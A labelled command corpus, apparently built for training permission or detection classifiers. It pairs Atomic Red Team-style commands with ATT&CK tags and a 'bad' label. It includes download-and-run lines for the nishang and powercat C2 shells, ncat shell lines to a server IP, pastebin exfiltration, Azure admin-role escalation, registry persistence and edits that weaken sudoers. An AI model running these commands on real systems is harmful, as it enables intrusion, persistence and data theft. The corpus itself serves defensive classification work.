cowWhySo/permission-command-corpus huggingface dataset:
Command: Remove-Item -Recurse #{output_path} -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.001
Platform: windows
ATT&CK tags: T1069.001
Source rule: SharpHound3 - LocalAdmin
Notes: This module runs the Windows executable of SharpHound in order to remotely list members of the local Administrators group (SAMR)
Command: wmic group get name
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.001
Platform: windows
ATT&CK tags: T1069.001
Source rule: Wmic Group Discovery
Notes: Utilizing wmic.exe to enumerate groups on the local system. Upon execution, information will be displayed of local groups on system.
Command: Get-WMIObject Win32_Group
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.001
Platform: windows
ATT&CK tags: T1069.001
Source rule: WMIObject Group Discovery
Notes: Utilizing PowerShell cmdlet - get-wmiobject, to enumerate local groups on the endpoint. Upon execution, Upon execution, information will be displayed of local groups on system.
Command: docker build -t t1069 $PathtoAtomicsFolder/T1069.001/src/ docker run --name t1069_container --rm -d -t t1069 docker exec t1069_container ./test.sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.001
Platform: containers
ATT&CK tags: T1069.001
Source rule: Permission Groups Discovery for Containers- Local Groups
Notes: Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.
Command: docker stop t1069_container docker rmi -f t1069
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.001
Platform: containers
ATT&CK tags: T1069.001
Source rule: Permission Groups Discovery for Containers- Local Groups
Notes: Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.
Command: Import-Module MSOnline $Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password Connect-MsolService -Credential $Credential Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098.003
Platform: azure-ad
ATT&CK tags: T1098.003
Source rule: Azure AD - Add Company Administrator Role to a user
Notes: Add an existing Azure user account the Company Administrator Role.
Command: Remove-MsolRoleMember -RoleName "Company Administrator" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098.003
Platform: azure-ad
ATT&CK tags: T1098.003
Source rule: Azure AD - Add Company Administrator Role to a user
Notes: Add an existing Azure user account the Company Administrator Role.
Command: Import-Module MSOnline $password = ConvertTo-SecureString -String "#{auth_password}" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password Connect-MsolService -Credential $credential Remove-MsolRoleMember -RoleName "Company Administrator" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}" Remove-MsolRoleMember -RoleName "Global Reader" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098.003
Platform: azure-ad
ATT&CK tags: T1098.003
Source rule: Simulate - Post BEC persistence via user password reset followed by user added to company administrator role
Notes: This test looks at simulating the an adversary described in the following blog post. It involves resetting the password of a normal user and adding to the company administrator role within M365.
 Reference: https://www.huntress.com/blog/business-email-compromise-via-azure-administrative-privileges
Command: netstat -ano net use net sessions 2>nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1049
Platform: windows
ATT&CK tags: T1049
Source rule: System Network Connections Discovery
Notes: Get a listing of network connections.

Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command: Get-NetTCPConnection | ForEach-Object { $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue [pscustomobject]@{ Local = "$($_.LocalAddress):$($_.LocalPort)" Remote = "$($_.RemoteAddress):$($_.RemotePort)" State = $_.State PID = $_.OwningProcess Process = if ($p) { $p.ProcessName } else { $null } } } | Sort-Object State,Process | Format-Table -AutoSize
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1049
Platform: windows
ATT&CK tags: T1049
Source rule: System Network Connections Discovery via PowerShell (Process Mapping)
Notes: Enumerate TCP connections and map to owning process names via PowerShell.
Command: if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1049
Platform: linux,macos
ATT&CK tags: T1049
Source rule: System Network Connections Discovery via ss or lsof (Linux/MacOS)
Notes: List active TCP/UDP network connections using ss, with lsof as a fallback
when ss is unavailable. Serves as an alternative to the netstat-based test.
Command: netstat who -a
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1049
Platform: linux,macos
ATT&CK tags: T1049
Source rule: System Network Connections Discovery FreeBSD, Linux & MacOS
Notes: Get a listing of network connections.

Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command: sockstat -4 sockstat -6 2>/dev/null || true sockstat -l 2>/dev/null || true
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1049
Platform: linux
ATT&CK tags: T1049
Source rule: System Network Connections Discovery via sockstat (Linux, FreeBSD)
Notes: Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command: $syntaxList = #{syntax} foreach ($syntax in $syntaxList) { #{SharpView} $syntax -}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1049
Platform: windows
ATT&CK tags: T1049
Source rule: System Discovery using SharpView
Notes: Get a listing of network connections, domains, domain users, and etc.  
sharpview.exe located in the bin folder, an opensource red-team tool.
Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command: reg add "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam" /v "Driver" /d "#{monitor_dll}" /t REG_SZ /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.010
Platform: windows
ATT&CK tags: T1547.010
Source rule: Add Port Monitor persistence in Registry
Notes: Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.
Command: reg delete "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam" /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.010
Platform: windows
ATT&CK tags: T1547.010
Source rule: Add Port Monitor persistence in Registry
Notes: Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.
Command: #{msbuildpath}\#{msbuildname} "#{filename}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1127.001
Platform: windows
ATT&CK tags: T1127.001
Source rule: MSBuild Bypass Using Inline Tasks (C#)
Notes: Executes the code in a project file using msbuild.exe. The default C# project example file (T1127.001.csproj) will simply print "Hello From a Code Fragment" and "Hello From a Class." to the screen.
Command: $apiKey = "#{api_key}" $content = "secrets, api keys, passwords..." $url = "https://pastebin.com/api/api_post.php" $postData = @{ api_dev_key = $apiKey api_option = "paste" api_paste_code = $content } $response = Invoke-RestMethod -Uri $url -Method Post -Body $postData Write-Host "Your paste URL: $response"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1567.003
Platform: windows
ATT&CK tags: T1567.003
Source rule: Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows)
Notes: This test uses HTTP POST to exfiltrate data to a remote text storage site. (pastebin)                             
See https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it
Command: screencapture #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: macos
ATT&CK tags: T1113
Source rule: Screencapture
Notes: Use screencapture command to collect a full desktop screenshot
Command: rm #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: macos
ATT&CK tags: T1113
Source rule: Screencapture
Notes: Use screencapture command to collect a full desktop screenshot
Command: screencapture -x #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: macos
ATT&CK tags: T1113
Source rule: Screencapture (silent)
Notes: Use screencapture command to collect a full desktop screenshot
Command: xwd -root -out #{output_file} xwud -in #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: linux
ATT&CK tags: T1113
Source rule: X Windows Capture
Notes: Use xwd command to collect a full desktop screenshot and review file with xwud
Command: import -window root #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: linux
ATT&CK tags: T1113
Source rule: Capture Linux Desktop using Import Tool
Notes: Use import command from ImageMagick to collect a full desktop screenshot
Command: cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12 Add-Type -MemberDefinition '[DllImport("user32.dll")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W; [W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0); cmd /c "timeout #{recording_time} > NULL && psr.exe /stop"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: windows
ATT&CK tags: T1113
Source rule: Windows Screencapture
Notes: Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour
Command: rm #{output_file} -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: windows
ATT&CK tags: T1113
Source rule: Windows Screencapture
Notes: Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour
Command: Add-Type -AssemblyName System.Windows.Forms $screen = [Windows.Forms.SystemInformation]::VirtualScreen $bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height $graphic = [Drawing.Graphics]::FromImage($bitmap) $graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size) $bitmap.Save("#{output_file}")
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: windows
ATT&CK tags: T1113
Source rule: Windows Screen Capture (CopyFromScreen)
Notes: Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.
[Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen
Command: Remove-Item #{output_file} -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: windows
ATT&CK tags: T1113
Source rule: Windows Screen Capture (CopyFromScreen)
Notes: Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.
[Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen
Command: reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /t REG_DWORD /d 0 /f reg delete "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: windows
ATT&CK tags: T1113
Source rule: Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted
Notes: Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary. 
- https://learn.microsoft.com/en-us/windows/client-management/manage-recall
- https://learn.microsoft.com
Command: reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: windows
ATT&CK tags: T1113
Source rule: Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted
Notes: Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary. 
- https://learn.microsoft.com/en-us/windows/client-management/manage-recall
- https://learn.microsoft.com
Command: $url = 'https://raw.githubusercontent.com/ANSSI-FR/bmc-tools/master/bmc-tools.py' $toolsDir = "$env:TEMP\bmc-tools.py" # create output directory New-Item -ItemType Directory -Path #{output_dir} -Force | Out-Null # python script download & curl.exe -L $url --output $toolsDir # execution step if (Test-Path $toolsDir) { python $toolsDir -s "#{cache_path}" -d #{output_dir} -b }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: windows
ATT&CK tags: T1113
Source rule: RDP Bitmap Cache Extraction via bmc-tools
Notes: Simulates an attacker extracting the RDP bitmap cache using the ANSSI "bmc-tools.py" script.
This test requires valid RDP bitmap cache files to exist on the system (usually created after an outgoing RDP connection is made).
Command: Remove-Item "$env:TEMP\bmc-tools.py" -ErrorAction SilentlyContinue Remove-Item #{output_dir} -Recurse -Force -ErrorAction SilentlyContinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1113
Platform: windows
ATT&CK tags: T1113
Source rule: RDP Bitmap Cache Extraction via bmc-tools
Notes: Simulates an attacker extracting the RDP bitmap cache using the ANSSI "bmc-tools.py" script.
This test requires valid RDP bitmap cache files to exist on the system (usually created after an outgoing RDP connection is made).
Command: sudo -l sudo cat /etc/sudoers sudo vim /etc/sudoers
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.003
Platform: macos,linux
ATT&CK tags: T1548.003
Source rule: Sudo usage
Notes: Common Sudo enumeration methods.
Command: sudo -l sudo cat /usr/local/etc/sudoers sudo ee /usr/local/etc/sudoers
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.003
Platform: linux
ATT&CK tags: T1548.003
Source rule: Sudo usage (freebsd)
Notes: Common Sudo enumeration methods.
Command: sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers sudo visudo -c -f /etc/sudoers
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.003
Platform: macos,linux
ATT&CK tags: T1548.003
Source rule: Unlimited sudo cache timeout
Notes: Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.
Command: sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers sudo visudo -c -f /usr/local/etc/sudoers
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.003
Platform: linux
ATT&CK tags: T1548.003
Source rule: Unlimited sudo cache timeout (freebsd)
Notes: Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.
Command: sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers" sudo visudo -c -f /etc/sudoers
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.003
Platform: macos,linux
ATT&CK tags: T1548.003
Source rule: Disable tty_tickets for sudo caching
Notes: Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.
Command: sudo sh -c "echo Defaults "'!'"tty_tickets >> /usr/local/etc/sudoers" sudo visudo -c -f /usr/local/etc/sudoers
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.003
Platform: linux
ATT&CK tags: T1548.003
Source rule: Disable tty_tickets for sudo caching (freebsd)
Notes: Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.
Command: Copy-Item "#{dll_path}" C:\Users\Public\AtomicTest.dll -Force reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /t REG_EXPAND_SZ /d "C:\Users\Public\AtomicTest.dll" /f if(#{reboot}){Restart-Computer}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.009
Platform: windows
ATT&CK tags: T1546.009
Source rule: Create registry persistence via AppCert DLL
Notes: Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. 
Once the computer restarted, the DLL will be loaded in multiple processes and write an 
'AtomicTest.txt' file in C:\Users\Public\ to validate that the DLL executed succesfully.

Reference: https://skanthak.homepage.t-online.de/appcert.html
Command: reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /f Remove-Item C:\Users\Public\AtomicTest.dll -Force Remove-Item C:\Users\Public\AtomicTest.txt -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.009
Platform: windows
ATT&CK tags: T1546.009
Source rule: Create registry persistence via AppCert DLL
Notes: Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. 
Once the computer restarted, the DLL will be loaded in multiple processes and write an 
'AtomicTest.txt' file in C:\Users\Public\ to validate that the DLL executed succesfully.

Reference: https://skanthak.homepage.t-online.de/appcert.html
Command: cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.002
Platform: linux
ATT&CK tags: T1027.002
Source rule: Binary simply packed by UPX (linux)
Notes: Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.
No other protection/compression were applied.
Command: rm /tmp/packed_bin
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.002
Platform: linux
ATT&CK tags: T1027.002
Source rule: Binary simply packed by UPX (linux)
Notes: Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.
No other protection/compression were applied.
Command: IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1') Invoke-PowerShellIcmp -IPAddress #{server_ip}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1095
Platform: windows
ATT&CK tags: T1095
Source rule: ICMP C2
Notes: This will attempt to  start C2 Session Using ICMP. For information on how to set up the listener
refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/
Command: cmd /c "#{ncat_exe}" #{server_ip} #{server_port}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1095
Platform: windows
ATT&CK tags: T1095
Source rule: Netcat C2
Notes: Start C2 Session Using Ncat
To start the listener on a Linux device, type the following: 
nc -l -p <port>
Command: IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1') powercat -c #{server_ip} -p #{server_port}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1095
Platform: windows
ATT&CK tags: T1095
Source rule: Powercat C2
Notes: Start C2 Session Using Powercat
To start the listener on a Linux device, type the following: 
nc -l -p <port>
Command: systeminfo reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: System Information Discovery
Notes: Identify System Info. Upon execution, system info and time info will be displayed.
Command: system_profiler ls -al /Applications
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: macos
ATT&CK tags: T1082
Source rule: System Information Discovery
Notes: Identify System Info
Command: uname -a >> #{output_file} if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi if [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi uptime >> #{output_file} cat #{output_file} 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: linux,macos
ATT&CK tags: T1082
Source rule: List OS Information
Notes: Identify System Info
Command: rm #{output_file} 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: linux,macos
ATT&CK tags: T1082
Source rule: List OS Information
Notes: Identify System Info
Command: sudo lsmod | grep -i "vboxsf\|vboxguest" sudo lsmod | grep -i "vmw_baloon\|vmxnet" sudo lsmod | grep -i "xen-vbd\|xen-vnif" sudo lsmod | grep -i "virtio_pci\|virtio_net" sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: linux
ATT&CK tags: T1082
Source rule: Linux VM Check via Kernel Modules
Notes: Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware.
Command: kldstat | grep -i "vmm" kldstat | grep -i "vbox"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: linux
ATT&CK tags: T1082
Source rule: FreeBSD VM Check via Kernel Modules
Notes: Identify virtual machine host kernel modules.
Command: REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: Windows MachineGUID Discovery
Notes: Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.